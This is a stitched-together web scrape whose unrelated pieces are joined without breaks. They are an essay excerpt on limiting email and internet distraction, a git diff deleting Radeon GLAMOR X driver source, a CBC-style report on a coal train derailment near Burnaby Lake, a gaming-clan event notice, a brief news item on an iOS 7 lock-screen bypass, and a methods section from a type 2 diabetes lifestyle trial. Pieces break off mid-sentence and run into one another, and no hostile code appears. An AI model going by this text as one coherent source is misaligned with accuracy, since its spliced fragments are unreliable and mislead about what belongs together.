It's this vicious Skinnerian cycle that conscious computing seeks to break. That's why one of the simplest pieces of advice – to check your email at fixed points during the day – works so well: if you're checking only occasionally, you're virtually guaranteed the "reward" of new messages, so the lure of the variable reward dies away, and with it the constant urge to check. Something similar is going on with services such as iDoneThis, which lets you track the work you've accomplished by responding to a daily email. When it launched, its founder Walter Chen had the capacity to process the emails only once a day, so to put a positive spin on things, and mainly as a joke, he added a note: "iDoneThis is part of the slow web movement. After you email us, your calendar is not updated instantaneously. But rest up, and you'll find an updated calendar when you awake." It's hard to imagine Mark Zuckerberg approving a feature that actively encouraged making fewer visits to Facebook. But maybe we'd all be a bit happier if he did.
In March, I spent a week trying to live as faithfully as possible in accordance with the philosophy of calming (or conscious or contemplative) computing. At home, I stopped using my Nexus smartphone as a timepiece – I wore a watch instead – to prevent the otherwise inevitable slide from checking the time, or silencing the alarm, into checking my email, my Twitter feed or Wikipedia's List Of Unusual Deaths. After a couple of days, I disabled the Gmail and Twitter apps completely, and stored my phone in my bag while I worked, frequently forgetting it for hours at a time. At work, I shut off the internet in 90-minute slabs using Mac Freedom, the "internet blocking productivity software" championed by such writerly big shots as Zadie Smith and the late Nora Ephron. ("Freedom enforces freedom," its website explains chillingly.) Most mornings, I also managed 10 minutes with ReWire, a concentration-enhancing meditation app for the iPad that plays songs from your music library in short bursts, interrupted by silence; your job is to press a button as fast as you can each time you notice the music has stopped. I also tried to check my email no more than three times a day, and at fixed points: 9.30am, 1.30pm and 5pm.
Disconcerting things began to happen. I'm embarrassed to report that I found myself doing what's referred to, in Pang's book, as "paper-tweeting": scribbling supposedly witty wisecracks in a notebook as a substitute for the urge to share them online. (At least I'd never had a problem with "sleep texting", which, at least according to a few dubious media reports, is now a thing among serious smartphone addicts.) I had a few minor attacks of phantom mobile phone vibrations, aka "ringxiety", which research suggests afflicts at least 70% of us. By far the biggest obstacle to my experiment was the fact that the web and email are simultaneously sources of distraction and a vital tool: it's no use blocking the internet to work when you need the internet for work. Still, the overall result was more calmness and a clear sense that I'd gained purchase on my own mind: I was using it more than it was using me. I could jump online to look something up and then – this is the crucial bit – jump off again. After a few 90-minute stretches of weblessness, for example, I found myself not itching to get back online, but bored by the prospect. I started engaging in highly atypical behaviours, such as going for a walk, instead.
All this talk of the internet as a black hole of distraction and compulsion provokes spluttering scorn from certain technology evangelists, who like to note that similar complaints have accompanied almost every new medium in history. Erasmus worried that the printing press would damage scholarship. Socrates, in Plato's Phaedrus, argued that the invention of writing meant people would "cease to exercise their memory and become forgetful". It seems likely we'll get over internet distraction soon enough. "One of the devices that has historically drawn the most criticism from scholars and theologians for its corrupting effect on humanity seems to have worked out pretty well," the commentator Mathew Ingram wrote at the technology site GigaOM. "It's called
|
1: - snprintf(format, 20, "A1 "); - break; - default: - snprintf(format, 20, "0x%x", (int)pict->format); - break; - } - - loc = glamor_drawable_is_offscreen(pict->pDrawable)?'s' :'m'; - - snprintf(size, 20, "%dx%d%s", pict->pDrawable->width, - pict->pDrawable->height, pict->repeat? " R" : ""); - - snprintf(string, n, "%p:%c fmt %s (%s)%s", - pict->pDrawable, loc, format, size, - pict->alphaMap? " with alpha map" :""); -} - -static const char * -op_to_string(CARD8 op) -{ - switch (op) { -#define C(x) case PictOp##x: return #x - C(Clear); - C(Src); - C(Dst); - C(Over); - C(OverReverse); - C(In); - C(InReverse); - C(Out); - C(OutReverse); - C(Atop); - C(AtopReverse); - C(Xor); - C(Add); - C(Saturate); - - /* - * Operators only available in version 0.2 - */ -#if RENDER_MAJOR >= 1 || RENDER_MINOR >= 2 - C(DisjointClear); - C(DisjointSrc); - C(DisjointDst); - C(DisjointOver); - C(DisjointOverReverse); - C(DisjointIn); - C(DisjointInReverse); - C(DisjointOut); - C(DisjointOutReverse); - C(DisjointAtop); - C(DisjointAtopReverse); - C(DisjointXor); - - C(ConjointClear); - C(ConjointSrc); - C(ConjointDst); - C(ConjointOver); - C(ConjointOverReverse); - C(ConjointIn); - C(ConjointInReverse); - C(ConjointOut); - C(ConjointOutReverse); - C(ConjointAtop); - C(ConjointAtopReverse); - C(ConjointXor); -#endif - - /* - * Operators only available in version 0.11 - */ -#if RENDER_MAJOR >= 1 || RENDER_MINOR >= 11 - C(Multiply); - C(Screen); - C(Overlay); - C(Darken); - C(Lighten); - C(ColorDodge); - C(ColorBurn); - C(HardLight); - C(SoftLight); - C(Difference); - C(Exclusion); - C(HSLHue); - C(HSLSaturation); - C(HSLColor); - C(HSLLuminosity); -#endif - default: return "garbage"; -#undef C - } -} - -static void -glamor_print_composite_fallback(const char *func, CARD8 op, - PicturePtr pSrc, PicturePtr pMask, PicturePtr pDst) -{ - glamor_screen_t *glamor_screen = glamor_get_screen(pDst->pDrawable->pScreen); - char srcdesc[40], maskdesc[40], dstdesc[40]; - - if (! glamor_screen->fallback_debug) - return; - - glamor_composite_fallback_pict_desc(pSrc, srcdesc, 40); - glamor_composite_fallback_pict_desc(pMask, maskdesc, 40); - glamor_composite_fallback_pict_desc(pDst, dstdesc, 40); - - ErrorF("Composite fallback at %s:
" - " op %s,
" - " src %s,
" - " mask %s,
" - " dst %s,
", - func, op_to_string (op), srcdesc, maskdesc, dstdesc); -} - - -static void -glamor_composite(CARD8 op, - PicturePtr pSrc, - PicturePtr pMask, - PicturePtr pDst, - INT16 xSrc, INT16 ySrc, - INT16 xMask, INT16 yMask, - INT16 xDst, INT16 yDst, - CARD16 width, CARD16 height) -{ - int ok; - - if (!glamor_picture_prepare_access(pDst, GLAMOR_GPU_ACCESS_RW)) - goto fallback; - ok = glamor_picture_prepare_access(pSrc, GLAMOR_GPU_ACCESS_RO); - if (!ok) - goto finish_dst; - if (pMask) { - ok = glamor_picture_prepare_access(pMask, GLAMOR_GPU_ACCESS_RO); - if (!ok) - goto finish_src; - } - - ok = glamor_composite_nf(op, - pSrc, pMask, pDst, xSrc, ySrc, - xMask, yMask, xDst, yDst, - width, height); - - if (pMask) - glamor_picture_finish_access(pMask, GLAMOR_GPU_ACCESS_RO); -finish_src: - glamor_picture_finish_access(pSrc, GLAMOR_GPU_ACCESS_RO); -finish_dst: - glamor_picture_finish_access(pDst, GLAMOR_GPU_ACCESS_RW); - - if (ok) - return; - -fallback: - glamor_print_composite_fallback("glamor_composite", - op, pSrc, pMask, pDst); - - glamor_check_composite(op, pSrc, pMask, pDst, xSrc, ySrc, - xMask, yMask, xDst, yDst, width, height); -} - - -static void -glamor_check_trapezoids(CARD8 op, PicturePtr src, PicturePtr dst, - PictFormatPtr maskFormat, INT16 xSrc, INT16 ySrc, - int ntrap, xTrapezoid * traps) -{ - ScreenPtr screen = dst->pDrawable->pScreen; - - if (maskFormat) { - PixmapPtr scratch = NULL; - PicturePtr mask; - INT16 xDst, yDst; - INT16 xRel, yRel; - BoxRec bounds; - int width, height; - pixman_image_t *image; - pixman_format_code_t format; - int error; - - xDst = traps[0].left.p1.x >> 16; - yDst = traps[0].left.p1.y >> 16; - - miTrapezoidBounds (ntrap, traps, &bounds); - if (bounds.y1 >= bounds.y2 || bounds.x1 >= bounds.x2) - return; - - width = bounds.x2 - bounds.x1; - height = bounds.y2 - bounds.y1; - - format = maskFormat->format | - (BitsPerPixel(maskFormat->depth) << 24); - image = - pixman_image_create_bits(format, width, height, NULL, 0); - if (!image) - return; - - for (; ntrap; ntrap--, traps++) - pixman_rasterize_trapezoid(image, - (pixman_trapezoid_t *) traps, - -bounds.x1, -bounds.y1); - - - scratch = GetScratchPixmapHeader(screen, width, height, - PIXMAN_FORMAT_DEPTH(format), - PIXMAN_FORMAT_BPP(format), - pixman_image_get_stride(image), - pixman_image_get_data(image)); - if (!scratch) { - pixman_image_unref(image); - return; - } - - mask = CreatePicture(0, &scratch->drawable, - PictureMatchFormat(screen, - PIXMAN_FORMAT_DEPTH(format), - format), - 0, 0, serverClient, &error); - if (!mask) { - FreeScratchPixmapHeader(scratch); - pixman_image_unref(image); - return; - } - - xRel = bounds.x1 + xSrc - xDst; - yRel = bounds.y1 + ySrc - yDst; - CompositePicture(op, src, mask, dst, - xRel, yRel, - 0, 0, - bounds.x1, bounds.y1, - width, height); - FreePicture(mask, 0); - - FreeScratchPixmapHeader(scratch); - pixman_image_unref(image); - } else { - if (dst->polyEdge == PolyEdgeSharp) - maskFormat = PictureMatchFormat(screen, 1, PICT_a1); - else - maskFormat = PictureMatchFormat(screen, 8, PICT_a8); - - for (; ntrap; ntrap--, traps++) - glamor_check_trapezoids(op, src, dst, maskFormat, xSrc, ySrc, 1, traps); - } -} - -/** - * glamor_trapezoids is essentially a copy of miTrapezoids that uses - * glamor_create_alpha_picture instead of miCreateAlphaPicture. - * - * The problem with miCreateAlphaPicture is that it calls PolyFillRect - * to initialize the contents after creating the pixmap, which - * causes the pixmap to be moved in for acceleration. The subsequent - * call to RasterizeTrapezoid won't be accelerated however, which - * forces the pixmap to be moved out again. - * - * glamor_create_alpha_picture avoids this roundtrip by using - * glamor_check_poly_fill_rect to initialize the contents. - */ -static void -glamor_trapezoids(CARD8 op, PicturePtr src, PicturePtr dst, - PictFormatPtr maskFormat, INT16 xSrc, INT16 ySrc, - int ntrap, xTrapezoid * traps) -{ - int ok; - - if (!glamor_picture_prepare_access(dst, GLAMOR_GPU_ACCESS_RW)) - goto fallback; - ok = glamor_picture_prepare_access(src, GLAMOR_GPU_ACCESS_RO); - if (!ok) - goto finish_dst; - ok = glamor_trapezoids_nf(op, - src, dst, maskFormat, xSrc, - ySrc, ntrap, traps); - glamor_picture_finish_access(src, GLAMOR_GPU_ACCESS_RO); -finish_dst: - glamor_picture_finish_access(dst, GLAMOR_GPU_ACCESS_RW); - - if (ok) - return; - -fallback: - glamor_check_trapezoids(op, src, dst, maskFormat, xSrc, ySrc, ntrap, traps); -} - -static void -glamor_check_triangles(CARD8 op, PicturePtr src, PicturePtr dst, - PictFormatPtr maskFormat, INT16 xSrc, INT16 ySrc, - int ntri, xTriangle *tri) -{ - ScreenPtr screen = dst->pDrawable->pScreen; - - if (maskFormat) { - PixmapPtr scratch = NULL; - PicturePtr mask; - INT16 xDst, yDst; - INT16 xRel, yRel; - BoxRec bounds; - int width, height; - pixman_image_t *image; - pixman_format_code_t format; - int error; - - xDst = pixman_fixed_to_int(tri[0].p1.x); - yDst = pixman_fixed_to_int(tri[0].p1.y); - - miTriangleBounds (ntri, tri, &bounds); - if (bounds.y1 >= bounds.y2 || bounds.x1 >= bounds.x2) - return; - - width = bounds.x2 - bounds.x1; - height = bounds.y2 - bounds.y1; - - format = maskFormat->format | - (BitsPerPixel(maskFormat->depth) << 24); - image = - pixman_image_create_bits(format, width, height, NULL, 0); - if (!image) - return; - - pixman_add_triangles(image, - -bounds.x1, -bounds.y1, - ntri, (pixman_triangle_t *)tri); - - scratch = GetScratchPixmapHeader(screen, width, height, - PIXMAN_FORMAT_DEPTH(format), - PIXMAN_FORMAT_BPP(format), - pixman_image_get_stride(image), - pixman_image_get_data(image)); - if (!scratch) { - pixman_image_unref(image); - return; - } - - mask = CreatePicture(0, &scratch->drawable, - PictureMatchFormat(screen, - PIXMAN_FORMAT_DEPTH(format), - format), - 0, 0, serverClient, &error); - if (!mask) { - FreeScratchPixmapHeader(scratch); - pixman_image_unref(image); - return; - } - - xRel = bounds.x1 + xSrc - xDst; - yRel = bounds.y1 + ySrc - yDst; - CompositePicture(op, src, mask, dst, - xRel, yRel, - 0, 0, - bounds.x1, bounds.y1, - width, height); - FreePicture(mask, 0); - - FreeScratchPixmapHeader(scratch); - pixman_image_unref(image); - } else { - if (dst->polyEdge == PolyEdgeSharp) - maskFormat = PictureMatchFormat(screen, 1, PICT_a1); - else - maskFormat = PictureMatchFormat(screen, 8, PICT_a8); - - for (; ntri; ntri--, tri++) - glamor_check_triangles(op, src, dst, maskFormat, xSrc, ySrc, 1, tri); - } -} - -/** - * glamor_triangles is essentially a copy of miTriangles that uses - * glamor_create_alpha_picture instead of miCreateAlphaPicture. - * - * The problem with miCreateAlphaPicture is that it calls PolyFillRect - * to initialize the contents after creating the pixmap, which - * causes the pixmap to be moved in for acceleration. The subsequent - * call to AddTriangles won't be accelerated however, which forces the pixmap - * to be moved out again. - * - * glamor_create_alpha_picture avoids this roundtrip by using - * glamor_check_poly_fill_rect to initialize the contents. - */ -static void -glamor_triangles(CARD8 op, PicturePtr pSrc, PicturePtr pDst, - PictFormatPtr maskFormat, INT16 xSrc, INT16 ySrc, - int ntri, xTriangle * tris) -{ - int ok; - - if (!glamor_picture_prepare_access(pDst, GLAMOR_GPU_ACCESS_RW)) - goto fallback; - ok = glamor_picture_prepare_access(pSrc, GLAMOR_GPU_ACCESS_RO); - if (!ok) - goto finish_dst; - ok = glamor_triangles_nf(op, - pSrc, pDst, maskFormat, xSrc, - ySrc, ntri, tris); - glamor_picture_finish_access(pSrc, GLAMOR_GPU_ACCESS_RO); -finish_dst: - glamor_picture_finish_access(pDst, GLAMOR_GPU_ACCESS_RW); - - if (ok) - return; - -fallback: - glamor_check_triangles(op, pSrc, pDst, maskFormat, - xSrc, ySrc, ntri, tris); -} - -void -glamor_add_traps(PicturePtr pPicture, - INT16 x_off, INT16 y_off, int ntrap, xTrap * traps) -{ - int ok; - - ok = glamor_picture_prepare_access(pPicture, GLAMOR_GPU_ACCESS_RW); - if (ok) { - ok = glamor_add_traps_nf(pPicture, - x_off, y_off, ntrap, traps); - glamor_picture_finish_access(pPicture, GLAMOR_GPU_ACCESS_RW); - } - - if (!ok) - glamor_check_add_traps(pPicture, x_off, y_off, ntrap, traps); -} - -#endif /* RENDER */ - - -/** - * radeon_glamor_close_screen() unwraps its wrapped screen functions and tears down GLAMOR's - * screen private, before calling down to the next CloseSccreen. - */ -static Bool radeon_glamor_close_screen(CLOSE_SCREEN_ARGS_DECL) -{ - glamor_screen_t *glamor_screen = glamor_get_screen(pScreen); -#ifdef RENDER - PictureScreenPtr ps = GetPictureScreenIfSet(pScreen); -#endif - - pScreen->CreateGC = glamor_screen->SavedCreateGC; - pScreen->CloseScreen = glamor_screen->SavedCloseScreen; - pScreen->GetImage = glamor_screen->SavedGetImage; - pScreen->GetSpans = glamor_screen->SavedGetSpans; - pScreen->CreatePixmap = glamor_screen->SavedCreatePixmap; - pScreen->DestroyPixmap = glamor_screen->SavedDestroyPixmap; - pScreen->CopyWindow = glamor_screen->SavedCopyWindow; - pScreen->ChangeWindowAttributes = - glamor_screen->SavedChangeWindowAttributes; - pScreen->BitmapToRegion = glamor_screen->SavedBitmapToRegion; -#ifdef RENDER - if (ps) { - ps->Composite = glamor_screen->SavedComposite; - ps->Glyphs = glamor_screen->SavedGlyphs; - ps->Trapezoids = glamor_screen->SavedTrapezoids; - ps->AddTraps = glamor_screen->SavedAddTraps; - ps->Triangles = glamor_screen->SavedTriangles; - - ps->UnrealizeGlyph = glamor_screen->SavedUnrealizeGlyph; - } -#endif - - free(glamor_screen); - - return (*pScreen->CloseScreen) (CLOSE_SCREEN_ARGS); -} - -/** - * @param screen screen being initialized - */ -Bool glamor_screen_init(ScreenPtr screen) -{ - glamor_screen_t *glamor_screen; - -#if HAS_DIXREGISTERPRIVATEKEY - if (!dixRegisterPrivateKey(&glamor_screen_index, PRIVATE_SCREEN, 0)) - return FALSE; -#endif - glamor_screen = calloc(sizeof(glamor_screen_t), 1); - - if (!glamor_screen) { - LogMessage(X_WARNING, - "GLAMOR(%d): Failed to allocate screen private
", - screen->myNum); - return FALSE; - } - - dixSetPrivate(&screen->devPrivates, &glamor_screen_index, glamor_screen); - - /* - * Replace various fb screen functions - */ - glamor_screen->SavedCloseScreen = screen->CloseScreen; - screen->CloseScreen = radeon_glamor_close_screen; - - glamor_screen->SavedCreateGC = screen->CreateGC; - screen->CreateGC = radeon_glamor_create_gc; - - glamor_screen->SavedGetImage = screen->GetImage; - screen->GetImage = glamor_get_image; - - glamor_screen->SavedGetSpans = screen->GetSpans; - screen->GetSpans = glamor_get_spans; - - glamor_screen->SavedCreatePixmap = screen->CreatePixmap; - glamor_screen->SavedDestroyPixmap = screen->DestroyPixmap; - - glamor_screen->SavedCopyWindow = screen->CopyWindow; - screen->CopyWindow = glamor_copy_window; - - glamor_screen->SavedChangeWindowAttributes = - screen->ChangeWindowAttributes; - screen->ChangeWindowAttributes = glamor_change_window_attributes; - - glamor_screen->SavedBitmapToRegion = screen->BitmapToRegion; - screen->BitmapToRegion = glamor_bitmap_to_region; - -#ifdef RENDER - { - PictureScreenPtr ps = GetPictureScreenIfSet(screen); - if (ps) { - glamor_screen->SavedComposite = ps->Composite; - ps->Composite = glamor_composite; - - glamor_screen->SavedGlyphs = ps->Glyphs; - ps->Glyphs = glamor_glyphs; - - glamor_screen->SavedTriangles = ps->Triangles; - ps->Triangles = glamor_triangles; - - glamor_screen->SavedTrapezoids = ps->Trapezoids; - ps->Trapezoids = glamor_trapezoids; - - glamor_screen->SavedAddTraps = ps->AddTraps; - ps->AddTraps = glamor_add_traps; - } - } -#endif - - return TRUE; -}
deleted file mode 100644
index 53ce969..0000000
--- a/
+++ /dev/null diff --git a/src/radeon_glamor_wrappers.h b/src/radeon_glamor_wrappers.hdeleted file mode 100644index 53ce969..0000000--- a/ src/radeon_glamor_wrappers.h +++ /dev/null @@ -1,178 +0,0 @@ -/* - * Copyright © 2000,2008 Keith Packard - * 2004 Eric Anholt - * 2005 Zack Rusin, Trolltech - * 2012 Advanced Micro Devices, Inc. - * - * Permission to use, copy, modify, distribute, and sell this software and its - * documentation for any purpose is hereby granted without fee, provided that - * the above copyright notice appear in all copies and that both that - * copyright notice and this permission notice appear in supporting - * documentation, and that the name of The copyright holders not be used in - * advertising or publicity pertaining to distribution of the software without - * specific, written prior permission. The copyright holders make no - * representations about the suitability of this software for any purpose. It - * is provided "as is" without express or implied warranty. - * - * THE COPYRIGHT HOLDERS DISCLAIM ALL WARRANTIES WITH REGARD TO THIS - * SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND - * FITNESS, IN NO EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY - * SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES - * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN - * AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING - * OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS - * SOFTWARE. - */ - -#ifndef RADEON_GLAMOR_WRAPPERS_H -#define RADEON_GLAMOR_WRAPPERS_H - -#ifdef HAVE_CONFIG_H -#include <config.h> -#endif -#ifdef HAVE_DIX_CONFIG_H -#include <dix-config.h> -#endif -#include <xorg-server.h> -#include "xf86.h" - -#include <X11/X.h> -#include <X11/Xproto.h> -#include "scrnintstr.h" -#include "pixmapstr.h" -#include "windowstr.h" -#include "servermd.h" -#include "colormapst.h" -#include "gcstruct.h" -#include "input.h" -#include "mipointer.h" -#include "mi.h" -#include "dix.h" -#include "fb.h" -#include "fboverlay.h" -#ifdef RENDER -//#include "fbpict.h" -#include "glyphstr.h" -#include "picturestr.h" -#endif -#include "damage.h" - -#include "../src/compat-api.h" - -/* Provide substitutes for gcc's __FUNCTION__ on other compilers */ -#if!defined(__GNUC__) &&!defined(__FUNCTION__) -# if defined(__STDC__) && (__STDC_VERSION__>=199901L) /* C99 */ -# define __FUNCTION__ __func__ -# else -# define __FUNCTION__ "" -# endif -#endif - -/* 1.6 and earlier server compat */ -#ifndef miGetCompositeClip -#define miCopyRegion fbCopyRegion -#define miDoCopy fbDoCopy -#endif - -typedef enum { - GLAMOR_CPU_ACCESS_RO, - GLAMOR_CPU_ACCESS_RW, - GLAMOR_GPU_ACCESS_RO, - GLAMOR_GPU_ACCESS_RW -} glamor_access_t; - -#include "radeon.h" -#include "glamor.h" - - -Bool glamor_screen_init(ScreenPtr screen); - -void glamor_set_fallback_debug(ScreenPtr screen, Bool enable); - -#define DEBUG_MIGRATE 0 -#define DEBUG_PIXMAP 0 -#define DEBUG_OFFSCREEN 0 -#define DEBUG_GLYPH_CACHE 0 - -#define GLAMOR_FALLBACK(x) \ -if (glamor_get_screen(screen)->fallback_debug) { \ - ErrorF("GLAMOR fallback at %s: ", __FUNCTION__); \ - ErrorF x; \ -} - -#if DEBUG_PIXMAP -#define DBG_PIXMAP(a) ErrorF a -#else -#define DBG_PIXMAP(a) -#endif - -typedef void (*EnableDisableFBAccessProcPtr) (int, Bool); -typedef struct { - CreateGCProcPtr SavedCreateGC; - CloseScreenProcPtr SavedCloseScreen; - GetImageProcPtr SavedGetImage; - GetSpansProcPtr SavedGetSpans; - CreatePixmapProcPtr SavedCreatePixmap; - DestroyPixmapProcPtr SavedDestroyPixmap; - CopyWindowProcPtr SavedCopyWindow; - ChangeWindowAttributesProcPtr SavedChangeWindowAttributes; - BitmapToRegionProcPtr SavedBitmapToRegion; -#ifdef RENDER - CompositeProcPtr SavedComposite; - TrianglesProcPtr SavedTriangles; - GlyphsProcPtr SavedGlyphs; - TrapezoidsProcPtr SavedTrapezoids; - AddTrapsProcPtr SavedAddTraps; - UnrealizeGlyphProcPtr SavedUnrealizeGlyph; -#endif - - Bool fallback_debug; -} glamor_screen_t; - -/* - * This is the only completely portable way to - * compute this info. - */ -#ifndef BitsPerPixel -#define BitsPerPixel(d) (\ - PixmapWidthPaddingInfo[d].notPower2? \ - (PixmapWidthPaddingInfo[d].bytesPerPixel * 8) : \ - ((1 << PixmapWidthPaddingInfo[d].padBytesLog2) * 8 / \ - (PixmapWidthPaddingInfo[d].padRoundUp+1))) -#endif - -#if HAS_DEVPRIVATEKEYREC -extern DevPrivateKeyRec glamor_screen_index; -#else -extern int glamor_screen_index; -#endif - -static inline glamor_screen_t *glamor_get_screen(ScreenPtr screen) -{ -#if HAS_DEVPRIVATEKEYREC - return dixGetPrivate(&screen->devPrivates, &glamor_screen_index); -#else - return dixLookupPrivate(&screen->devPrivates, &glamor_screen_index); -#endif -} - -#ifdef RENDER - -/* XXX these are in fbpict.h, which is not installed */ -void -fbComposite(CARD8 op, - PicturePtr pSrc, - PicturePtr pMask, - PicturePtr pDst, - INT16 xSrc, - INT16 ySrc, - INT16 xMask, - INT16 yMask, INT16 xDst, INT16 yDst, CARD16 width, CARD16 height); - -void -fbAddTraps(PicturePtr pPicture, - INT16 xOff, INT16 yOff, int ntrap, xTrap * traps); - -#endif - -#endif /* RADEON_GLAMOR_WRAPPERS_H */No one was injured when several CP Rail cars carrying coal went off the CN railway tracks near Burnaby Lake in B.C.'s Lower Mainland Saturday morning.
Nine rail cars carrying coal went off the tracks in Burnaby, B.C., near Burnaby Lake Saturday morning, with three of the cars fully tipped over. Police said no one was hurt and there was no further risk to the public, but Cariboo Road was closed to north-south traffic. (Deborah Goble/CBC)
Burnaby RCMP Staff Sgt. Wayne Baier said police got a call about the derailment just before 11 a.m. PT and arrived at the intersection of Cariboo Road and Government Street to find nine of the 152 rail cars off the rails. Six of the cars were upright, but three had tipped over and the contents were spilling out.
"The only contents of the car was coal," he said. "There's been some of the contents have fallen in a nearby stream. We've got a hold of the Ministry of Environment that oversees that issue, and I believe they are responding."
Baier said there was obvious damage to the rail tracks, cars and the immediate surroundings but that no one was hurt and the derailment posed no further risk.
"There is no safety concern to the general public," he said.
Rain could have been a factor
Baier said he received some information that last night's torrential rain may have played a possible factor.
"It's too early to confirm that, but that may have had an effect on the ground underneath the tracks," Baier said.
Police closed Cariboo Road to north-south traffic near the intersection until just before 3 p.m. while the scene was assessed.
RCMP said Canada's Transportation Safety Board would be the lead agency to investigate the derailment.
Earlier this week, a CN freight train jumped the tracks and caught fire near the village of Plaster Rock, N.B., forcing 150 people to leave their homes.
In that incident, CN said 17 of the train's 122 cars derailed, and some of them were carrying crude oil and propane.
Map: Train tracks at northeast corner of Burnaby LakeS.S.S - June 14
Team Fortress 2 & Planetside 2
Planetside 2:
Team Fortress 2:
Image credit to @ Loteus TEST Squadron! Hoist on your best looking panties! It's time to get down to business! Here at TEST Inc. life has been a bit hectic around the office. Things are finally settling down and we want to give you guys a chance to blow off some steam.So close out of Arena Commander and getready to go! What's that? Two games? Egriz, are you drunk? Nope! Starting this week, S.S.S. will be expanding to a much higher level. We will be hosting several gaming options over a much longer period of time.So what does that mean for you? Just more options! Play when you want! Play what game you want! Well, not any game. You have to limit yourself!ts.testsquadron.com **Push to talk is REQUIRED**In case of mass amounts of spais, we will switch to: testoutfit.infoServer: Mattherson (US East)Faction: Vanyu SovereigntyServer: TBDHatsSCHEDULE:STARTING AT 12:00 NOON EASTERN / 16:00 GMTHours 1-3: Team Fortress 2Hours 3-6: Planetside 2Hours 6-9: Team Fortress 2Hours 9-12: Planetside 2This is so we make sure we have proper staff running the event. I can't be in two places at once.For Team Fortress 2, we are just going to have to take over an empty/low pop server. TEST's TF2 server is not updated, so we won't be able to use it.Hope to see you there!Every major new software release has its share of bugs and security holes and the developer edition of Apple’s iOS 7 is no different. Forbes points us to a new video showing how to completely bypass the iPhone’s password protection by accessing the calculator available on the lock screen. As Forbes describes it, users can bypass the password screen “by opening iOS’s Control Room and accessing the phone’s calculator application before opening the phone’s camera,” which will then let them “access, delete, email, upload or tweet the device’s photos without knowing its passcode.” The new security flaw in iOS 7 is the second lock screen-related hole found on iOS this year, as earlier hackers found a way to bypass the password protections on iOS 6.1. The full video demonstrating the security flaw is posted below.Study Design
The study methods have been published previously.6,7 The study was conducted at 16 clinical sites in the United States (for details, see the Supplementary Appendix, available with the full text of this article at NEJM.org). It was designed and conducted by the authors, and all analyses were completed by the coordinating center. The study was approved by the institutional review board at each center. The trial was not blinded, but clinical assessors and end-point adjudicators were unaware of study-group assignments. The authors vouch for the accuracy and completeness of the data and all analyses and for the fidelity of this report to the trial protocol, available at NEJM.org.
The study was sponsored by the National Institutes of Health, with additional support from other federal partners and the clinical research centers of several participating institutions. None of the corporate supporters, listed below, had any role in the trial design, data analysis, or reporting of results.
Study Patients
To be eligible for participation in the trial, patients were required to be 45 to 75 years of age and to meet all the following criteria: self-reported type 2 diabetes, as verified by the use of glucose-lowering medication, a physician's report, or glucose levels; a body-mass index (the weight in kilograms divided by the square of the height in meters) of 25.0 or more (27.0 or greater in patients taking insulin); a glycated hemoglobin level of 11% or less; a systolic blood pressure of less than 160 mm Hg; a diastolic blood pressure of less than 100 mm Hg; a triglyceride level of less than 600 mg per deciliter (6.77 mmol per liter); the ability to complete a valid maximal exercise test, suggesting it was safe to exercise; and an established relationship with a primary care provider. Patients could be using any type of glucose-lowering medication, but the percentage of those receiving insulin allowed in the trial was limited to less than 30%. Patients with and those without a history of cardiovascular disease were included to increase the generalizability of the results. Additional eligibility criteria are described elsewhere6 and in the Supplementary Appendix.
Study Interventions
Eligible patients were randomly assigned to participate in an intensive lifestyle intervention (intervention group) or to receive diabetes support and education (control group), with stratification according to clinical site. Curricula for the two study groups were developed centrally and have been described in detail previously6,8 (see the Supplementary Appendix).
The intensive lifestyle intervention was aimed at achieving and maintaining weight loss of at least 7% by focusing on reduced caloric intake and increased physical activity. The program included both group and individual counseling sessions, occurring weekly during the first 6 months, with decreasing frequency over the course of the trial. Specific intervention strategies included a calorie goal of 1200 to 1800 kcal per day (with <30% of calories from fat and >15% from protein), the use of meal-replacement products, and at least 175 minutes of moderate-intensity physical activity per week. A toolbox of strategies was available for patients having difficulty achieving the weight-loss goals (see the Supplementary Appendix).
Diabetes support and education featured three group sessions per year focused on diet, exercise, and social support during years 1 through 4. In subsequent years, the frequency was reduced to one session annually.
All medication adjustments were made by the patient's health care provider, with the exception of temporary changes in glucose-lowering medications made by study staff to reduce the risk of hypoglycemia in the intervention group. Patients and their health care providers received annual reports on the patients' updated cardiovascular risk factors and the goals recommended by the American Diabetes Association.1
Study Assessments
At annual visits, certified staff members who were unaware of study-group assignments measured weight, waist circumference, and blood pressure, along with assessing medication use and obtaining blood for analysis at a central laboratory.6 Maximal-exercise tests were performed in the full cohort before randomization. Submaximal-exercise tests were performed in the full cohort at years 1 and 4 and in a subset of patients at year 2.
During annual visits and telephone calls every 6 months, staff members who were unaware of study-group assignments queried patients about all medical events and hospitalizations. These queries were augmented with searches of national databases for deaths. Hospital and other records were reviewed for potential cardiovascular events, with adjudication according to standard criteria by reviewers who were unaware of study-group assignments (see the Supplementary Appendix).
Study End Points
The primary end point was the first occurrence of a composite cardiovascular outcome. Initially, the composite outcome included death from cardiovascular causes, nonfatal myocardial infarction, and nonfatal stroke, and the anticipated maximal follow-up period was 11.5 years. During the first 2 years of the trial, the primary-event rate in the control group was lower than expected.9 Therefore, hospitalization for angina was added to the primary outcome, and planned follow-up was extended to a maximum of 13.5 years.
Three composite secondary cardiovascular outcomes were also examined: death from cardiovascular causes, nonfatal myocardial infarction, or nonfatal stroke (the original primary outcome); death from any cause, myocardial infarction, stroke, or hospitalization for angina; and death from any cause, myocardial infarction, stroke, hospitalization for angina, coronary-artery bypass grafting, percutaneous coronary intervention, hospitalization for heart failure, or peripheral vascular disease.
Statistical Analysis
We determined that an enrollment of 5000 patients would provide a power of more than 80% to detect a between-group difference of 18% in the rate of major cardiovascular events, with a two-sided alpha level of 0.05, a primary outcome rate of 2% per year in the control group, and a planned maximum follow-up of 13.5 years. The 18% between-group difference was chosen on the basis of reductions in mortality among patients with type 2 diabetes and voluntary weight loss in an observational study,10 effect sizes chosen for trials with similar outcomes,11 feasibility, and public health significance.
On September 14, 2012, on the basis of a futility analysis and recommendation from the data and safety monitoring board, the study's primary sponsors instructed the study investigators to terminate the intervention. All data were censored on this date. At that time, the probability of observing a significant positive result at the planned end of follow-up (i.e., a hazard ratio of 0.82 in the intervention group) was estimated to be 1%.
